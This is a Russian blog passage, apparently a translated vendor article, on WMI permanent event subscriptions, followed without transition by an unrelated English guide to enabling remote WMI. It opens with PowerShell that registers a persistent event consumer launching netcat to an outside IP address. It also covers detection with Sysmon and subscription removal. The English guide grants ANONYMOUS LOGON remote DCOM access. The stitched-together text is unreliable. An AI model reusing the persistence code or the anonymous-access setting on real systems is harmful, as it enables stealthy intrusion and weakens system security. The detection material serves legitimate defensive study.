$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command
}
Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.
В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.
Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.
Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.
Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?
Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:
Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.
Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:
Удаление постоянных событий WMI включает использование конвейера PowerShell
Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.
Можно ли отключить постоянные события WMI?
По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.
Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.
Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.
Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM
В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.
Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.
Sysmon — удобная и понятная утилита для регистрации событий от Microsoft
Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.
Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?
На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'
QueryLanguage = 'WQL'
}
Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.
Часто задаваемые вопросы об инструментарии управления Windows
Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.
WMI объявлен устаревшим?
Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.
Какие порты использует WMI?
WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.
WMI использует WimRM?
Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.
Заключение
Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.
Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.
WMI comes installed on all of Microsoft’s modern operating systems (Windows 2000, Windows XP, Windows 2003, Windows Vista, Windows Server 2003/2008/2012/2016, Windows 8/8.1 and Windows 10). What this page will describe is how to enable remote access to WMI. The following steps should only take a minute or two of your time.
Step 1 — Enable remote WMI requests
This setting is usually all that needs to be changed to get WMI working (Steps 2 and 3 are typically not needed, but they might be in some circumstances).
- On the target server, go to Administrative Tools -> Computer Management.
- Expand Services and Applications.
- Right click for Properties on WMI Control.
Select the Security tab and then press the Security button:
Add the monitoring user (if needed), and then be sure to check Remote Enable for the user/group that will be requesting WMI data.
At this point go back and see if this fixes the problem. It might take a couple of minutes for the reports to re-generate.
Step 2 — Allow WMI through Windows firewall
All users (including non-administrators) are able to query/read WMI data on the local computer.
For reading WMI data on a remote server, a connection needs to be made from your management computer (where our monitoring software is installed) to the server that you’re monitoring (the target server). If the target server is running Windows Firewall (aka Internet Connection Firewall) like what is shipped with Windows XP and Windows 2003 (and above), then you need to tell it to let remote WMI requests through. This can only be done at the command prompt. Run the following on the target computer if it is running a Windows firewall:
netsh firewall set service RemoteAdmin enable
Step 3 — Enable DCOM calls on the remote machine
If the account you are using to monitor the target server is NOT an administrator on the target server, you need to enable the non-administrator to interact with DCOM by following the simple steps listed below. Follow the steps for:
- To grant DCOM remote launch and activation permissions for a user or group.
- To grant DCOM remote access permissions.
To grant DCOM remote launch and activation permissions for a user or group:
- Click Start, click Run, type DCOMCNFG, and then click OK.
- In the Component Services dialog box, expand Component Services, expand Computers, and then right-click My Computer and click Properties.
- In the My Computer Properties dialog box, click the COM Security tab.
- Under Launch and Activation Permissions, click Edit Limits.
In the Launch Permission dialog box, follow these steps if your name or your group does not appear in the Groups or user names list:
- In the Launch Permission dialog box, click Add.
- In the Select Users, Computers, or Groups dialog box, add your name and the group in the Enter the object names to select box, and then click OK.
- In the Launch Permission dialog box, select your user and group in the Group or user names box. In the Allow column under Permissions for User, select Remote Launch and select Remote Activation, and then click OK.
The following procedure describes how to grant DCOM remote access permissions for certain users and groups. If Computer A is connecting remotely to Computer B, you can set these permissions on Computer B to allow a user or group that is not part of the Administrators group on Computer B to connect to Computer B.
To grant DCOM remote access permissions:
Click Start, click Run, type DCOMCNFG, and then click OK.
In the Component Services dialog box, expand Component Services, expand Computers, and then right-click My Computer and click Properties.
In the My Computer Properties dialog box, click the COM Security tab.
Under Access Permissions, click Edit Limits.
In the Access Permission dialog box, select ANONYMOUS LOGON name in the Group or user names box. In the Allow column under Permissions for User, select Remote Access, and then click OK.